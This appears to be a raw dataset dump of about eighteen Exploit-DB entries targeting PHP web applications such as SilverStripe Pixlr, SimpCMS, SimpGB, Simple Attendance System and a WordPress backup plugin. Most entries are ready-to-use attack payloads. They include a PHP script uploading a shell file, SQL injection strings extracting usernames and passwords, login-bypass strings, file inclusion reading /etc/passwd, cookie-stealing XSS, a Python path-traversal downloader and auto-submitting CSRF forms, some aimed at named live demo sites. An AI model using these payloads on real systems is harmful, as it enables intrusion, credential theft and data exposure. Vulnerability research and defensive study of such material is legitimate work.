deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37451
Description: SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-23
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54172/info

Pixlr Image Editor is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Pixlr Image Editor 1.0.4 is vulnerable; other versions may also be affected. 

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Sammy FORGIT member from Inj3ct0r Team             1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
##################################################
# Description : Silverstripe Modules - Pixlr Image Editor Arbitrary File Upload Vulnerability
# Version : 1.0.4
# Link : http://www.silverstripe.org/pixlr-image-editor-module/
# Software : http://www.silverstripe.org/assets/modules/stable/svn.github.com-silverstripe-pixlr.git-r54.tar.gz
# Date : 21-06-2012
# Google Dork : not discover
# Site : 1337day.com Inj3ct0r Exploit Database
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.exemple.com/silverstripe/pixlr/thirdparty/supa/upload.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

Shell Access : http://www.exemple.com/silverstripe/pixlr/thirdparty/supa/data/lo.php

lo.php
<?php
phpinfo();
?>


# Site : 1337day.com Inj3ct0r Exploit Database
Exploit-DB #45664
Description: SIM-PKH 2.4.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: SIM-PKH 2.4.1 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-10-22
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://simpkh.sourceforge.io/
# Software Link: https://sourceforge.net/projects/simpkh/files/latest/download
# Version: 2.4.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Users....
# http://localhost/[PATH]/admin/media.php?module=pengurus&act=editpengurus&id=[SQL]
 
GET /[PATH]/admin/media.php?module=pengurus&act=editpengurus&id=-1%27++UniOn(sELect+0x283129%2cCONCAT(0x203a20,User(),DatabaSE(),VErsiON())%2c0x283329%2c0x283429%2c0x283529%2c%30%78%32%38%33%36%32%39%2c0x283729%2c0x283829%2c0x283929%2c0x28313029%2c0x28313129%2c0x28313229%2c0x28313329%2c0x28313429%2c0x28313529%2c0x28313629%2c%30%78%32%38%33%31%33%37%32%39%2c0x28313829%2c0x28313929%2c0x28323029%2c%30%78%32%38%33%32%33%31%32%39%2c0x28323229)--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=sbl43od8c5ceereifi8qidm923
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 22 Oct 2018 15:31:42 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #32284
Description: Simasy CMS - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-21
Author: r45c4l

Exploit:
source: https://www.securityfocus.com/bid/30774/info

Simasy CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com.com/index.php?page=8&id=95+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3+from+users/*
Exploit-DB #8380
Description: Simbas CMS 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-09
Author: ThE g0bL!N

Exploit:
-----------------------------------------------------
-----------------------------------------------------
Simbas Content Management System (auth Bypass) Remote Sql Injecion
-----------------------------------------------------
Founder: ThE g0bL!N(Dz)
Home: www.h4ckf0ru.com
Vive Algerie
# demo : http://www.officetoweb.co.uk/demo/index.asp
 
-----------------------------------------------------------
-----------------------------------------------------------
exploit
-------
http://www.officetoweb.co.uk/demo/admin/default.asp
username:  r0' or ' 1=1--
Password:  r0' or ' 1=1--

demo:
-----
http://www.officetoweb.co.uk/demo/admin/default.asp
------------------------------------------------------
Mission Completed
------------------------------------------------------
Thanx  :
           M0nSt3r-Dz - Master_FinaL - Dr-HTmL - Super Cristal- Hcoca_Man - Dreadful 
            Yassine_Enp- ViRuS_HaCkEr_Dz-Mr.JOoMJOoM-Naili
------------------------------------------------------------------------------------
www.h4ckf0ru.com/vb/
------------------------------------------------------------------------------------

# milw0rm.com [2009-04-09]
Exploit-DB #34995
Description: Simea CMS - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-11-16
Author: Cru3l.b0y

Exploit:
source: https://www.securityfocus.com/bid/44878/info

Simea CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/path/index.php?product=-1+union+select+1,2,concat(version(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
Exploit-DB #12848
Description: SIMM Management System (SMS) - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-02
Author: AntiSecurity

Exploit:
===================================================================================================


  [o] SIMM Management System (SMS) Local File Inclusion Vulnerability

       Software : SIMM Management System (SMS) version 2
       Vendor   : http://anodyne-productions.com/index.php/sms/index
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?page=[LFI]


  [o] PoC

       http://localhost/index.php?page=../../../../../../../../../../../../../../../etc/passwd%00


===================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe wishnusakti inc0mp13te pizzyroot
       kaka11 matthews xrootboy martfella Genex H312Y }^-^{ k1tk4t str0ke
       ArRay bjork xmazinha veter f1 akatsuchi N4ck0
       all people in #evilc0de [at] irc.byroe.net


===================================================================================================


  [o] June 02 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #4417
Description: SimpCMS - 'keyword' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-16
Author: Cold Zero

Exploit:
SimpCMS <= all Remote SQL Injection Vulnerability


Found By : Ãº Cold z3ro , http://www.hackteach.org/


Script : http://www.simpcms.com/


====================================

Exploit :

/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,name,5,6/**/from/**/categories/*

OR

/index.php?site=search

in search area insert your query

$query = 1)'/**/union/**/select/**/0,1,2,3,$COLUMN,5,6/**/from/**/$TABLE/*

$TABLE = "categories" OR "news" OR "mysql.user" OR "mysql.db" OR 
"information_schema.tables"

$COLUMN = "name" OR "id" OR "username" OR "password"

Examples :

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

1 ) From $TABLE categories :

/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,name,5,6/**/from/**/categories/*

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

2 ) From $TABLE news :

/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,id,5,6/**/from/**/news/*

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

3 ) From $TABLE mysql.user :

/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,username,5,6/**/from/**/mysql.user/*
/index.php?site=search&keyword=1)'/**/union/**/select/**/0,1,2,3,password,5,6/**/from/**/mysql.user/*

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

====================================

Live Example :

http://www.simpcms.com/medium/normal/index.php?site=search&keyword=1)'/**/union/**/select/**/0,user(),database(),3,name,5,6/**/from/**/categories/*

# milw0rm.com [2007-09-16]
Exploit-DB #3705
Description: SimpCMS 04.10.2007 - 'site' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-10
Author: Dr.RoVeR

Exploit:
Bug Found By Dr.RoVeR -->Arab48 Hacker

Contact: Dr.RoVeR@HackerMail.CoM
---

Script: SimpCMS Light

Download: http://www.simpcms.com/light/normal/simp-cms-light.zip

--

Bug File: index.php

Bug code in line 31:
include $site.".php";

--

Exploit:
http://site.com/[path]/index.php?site=[EvilScript]

# milw0rm.com [2007-04-10]
Exploit-DB #12737
Description: Simpel Side - 'index2.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-25
Author: MN9

Exploit:
#Tital : simpelside (index2.php) SQL Injection Vulnerability#EDB-ID: # CVE-ID: ()# OSVDB-ID: ()# Author: MN9# Published: 2010-05-25# Verified: yes



##########################################################>..> Author : MN9
>..> Email  : Mn9(at)Live.No >..> Script Home :  www.simpelside.dk
>..>  Doork :  :)##########################################################
~## Exploit ##~ 
http://site/index2.php?id=2 [ SQL Injection ] &mainid=2

~## Example ##~ http://site/index2.php?id=2 and 1=0 union select 1,2,concat(brugernavn,0x3a,adgangskode),4,5,6 from web1_brugere--&mainid=2

##########################################################
# All Tables admin :: 
web1_brugereweb2_brugereweb3_brugereweb4_brugere
# column user : brugernavn# column pass : adgangskode##########################################################
# admin panel :
http://site/admin/
##########################################################
# Greetz to :
RoMaNcYxHaCkEr ~ Mr.SaFa7 ~ Sniper code ~ All Al-Mslm3n

                [  v4-team.com  ]  &&  [  7rs.org  ]
Exploit-DB #25224
Description: SimpGB 1.0 - 'Guestbook.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-14
Author: visus

Exploit:
source: https://www.securityfocus.com/bid/12801/info

SimpGB is reportedly affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'guestbook.php' script before using it in a SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

http://www.example.com/simpgb/guestbook.php?lang=de&mode=new&quote=-1%20UNION%20SELECT%200,0,username,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20simpgb_users%20WHERE%201
Exploit-DB #30615
Description: SimpGB 1.46.2 - '/admin/?l_username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-25
Author: netVigilance

Exploit:
source: https://www.securityfocus.com/bid/25808/info

SimpGB is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect SimpGB 1.46.02; other versions may also be vulnerable. 

http://www.example.com/[PRODUCT DIRECTORY]/admin/?no_rgcheck=true&lang=1&l_username=</td><script>alert(document.cookies)</script><td>
Exploit-DB #30616
Description: SimpGB 1.46.2 - '/admin/emoticonlist.php?l_emoticonlist' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-25
Author: netVigilance

Exploit:
source: https://www.securityfocus.com/bid/25808/info
 
SimpGB is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect SimpGB 1.46.02; other versions may also be vulnerable. 

http://www.example.com/[PRODUCT DIRECTORY]/admin/emoticonlist.php?lang=1&l_emoticonlist=</title><script>alert(document.cookies)</script>
Exploit-DB #35290
Description: SimpGB 1.49.2 - 'Guestbook.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-01-26
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/46033/info

SimpGB is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SimpGB 1.49.02 is vulnerable; other versions may also be affected. 

http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&poster=%3Cscript%3Ealert(document.cookie)%3C/script%3E&input_text=[PII_REDACTED][PII_REDACTED]11111111&preview=preview

http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&poster=1&input_text=[PII_REDACTED][PII_REDACTED]11111111&preview=preview

http://www.example.com/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&poster=1&location=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&input_text=[PII_REDACTED][PII_REDACTED]11111111&preview=preview
Exploit-DB #50301
Description: Simple Attendance System 1.0 - Authenticated bypass
Type: webapps
Platform: php
Date: 2021-09-17
Author: Abdullah Khawaja

Exploit:
# Exploit Title: Simple Attendance System 1.0 - Authenticated bypass
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: September 17, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/attendance_0.zip
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Simple Attendance System, is prone to multiple vulnerabilities. 
Easy authentication bypass vulnerability on the application 
allowing the attacker to login


----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/attendance/login.php

Username: admin' or ''=' -- -+
Password: admin' or ''=' -- -+


----- PoC-2: Authentication Bypass -----

Steps: 
1. Enter wrong crendentials http://localhost/attendance/login.php
2. Capture the request in burp and send it to repeater.
3. Forward the request.
4. In response tab, replace :
    {"status":"failed","msg":"Invalid username or password."}
                with
    {"status":"success","msg":"Login successfully."}
Exploit-DB #50312
Description: Simple Attendance System 1.0 - Unauthenticated Blind SQLi
Type: webapps
Platform: php
Date: 2021-09-22
Author: ()t/\\/\\1

Exploit:
# Exploit Title: Simple Attendance System 1.0 - Unauthenticated Blind SQLi 
# Exploit Author: ()t/\/\1
# Date: September 21, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Tested on: Linux
# Version: v1.0

# Exploit Description:
The application suffers from an unauthenticated SQL Injection vulnerability.Input passed through 'employee_code' POST parameter in 'http://127.0.0.1//attendance/Actions.php?a=save_attendance' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and retrieve sensitive data.


# PoC request 

POST /attendance/Actions.php?a=save_attendance HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/attendance/attendance.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 138
Connection: close
Cookie: PHPSESSID=11c4e96bb334b51540f4758e9d33885d


employee_code=2d'+OR+SUBSTR((select+user_id+from+user_list+where+username="admin"),1,1)="1"--&att_type_id=1&date_created=&att_type=Time+In
Exploit-DB #51937
Description: Simple Backup Plugin Python Exploit 2.7.10 - Path Traversal
Type: webapps
Platform: php
Date: 2024-04-02
Author: Ven3xy

Exploit:
# Exploit Title: Simple Backup Plugin < 2.7.10 - Arbitrary File Download via Path Traversal
# Date: 2024-03-06
# Exploit Author: Ven3xy
# Software Link: https://downloads.wordpress.org/plugin/simple-backup.2.7.11.zip
# Version: 2.7.10
# Tested on: Linux

import sys
import requests
from urllib.parse import urljoin
import time

def exploit(target_url, file_name, depth):
    traversal = '../' * depth

    exploit_url = urljoin(target_url, '/wp-admin/tools.php')
    params = {
        'page': 'backup_manager',
        'download_backup_file': f'{traversal}{file_name}'
    }

    response = requests.get(exploit_url, params=params)

    if response.status_code == 200 and response.headers.get('Content-Disposition') \
            and 'attachment; filename' in response.headers['Content-Disposition'] \
            and response.headers.get('Content-Length') and int(response.headers['Content-Length']) > 0:
        print(response.text)  # Replace with the desired action for the downloaded content

        file_path = f'simplebackup_{file_name}'
        with open(file_path, 'wb') as file:
            file.write(response.content)

        print(f'File saved in: {file_path}')
    else:
        print("Nothing was downloaded. You can try to change the depth parameter or verify the correct filename.")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target_url> <file_name> <depth>")
        sys.exit(1)

    target_url = sys.argv[1]
    file_name = sys.argv[2]
    depth = int(sys.argv[3])
    print("\n[+] Exploit Coded By - Venexy    ||    Simple Backup Plugin 2.7.10  EXPLOIT\n\n")
    time.sleep(5)


    exploit(target_url, file_name, depth)
Exploit-DB #40518
Description: Simple Blog PHP 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-10-13
Author: Ehsan Hosseini

Exploit:
=====================================================
# Simple Blog PHP 2.0 - CSRF(Add Post) // Stored XSS
=====================================================
# Vendor Homepage: http://simpleblogphp.com/
# Date: 13 Oct 2016
# Demo Link : http://simpleblogphp.com/blog/admin.php
# Version : 2.0
# Platform : PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# CSRF PoC(Add Post):
<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://localhost/blog/admin.php" method="POST">
      <input type="hidden" name="act" value="addPost" />
      <input type="hidden" name="publish_date" value="2016-10-13 10:30:27" />
      <input type="hidden" name="post_title" value="Hacked" />
      <input type="hidden" name="post_text" value="Hacked" />
      <input type="hidden" name="post_limit" value="550" />
	   <input type="submit" value="Submit request" />
    </form>
    <script>
		document.forms[0].submit();
    </script>
  </body>
</html>


# Stored XSS PoC:
<html>
  <!-- CSRF + XSS Stored PoC -->
  <body>
    <form action="http://localhost/blog/admin.php" method="POST">
      <input type="hidden" name="act" value="addPost" />
      <input type="hidden" name="publish_date" value="2016-10-13 10:30:27" />
      <input type="hidden" name="post_title" value="<script>alert('XssPoC')</script>" />
      <input type="hidden" name="post_text" value="Hacked" />
      <input type="hidden" name="post_limit" value="550" />
	   <input type="submit" value="Submit request" />
    </form>
    <script>
		document.forms[0].submit();
    </script>
  </body>
</html>
================================================================================
# Discovered By : Ehsan Hosseini
================================================================================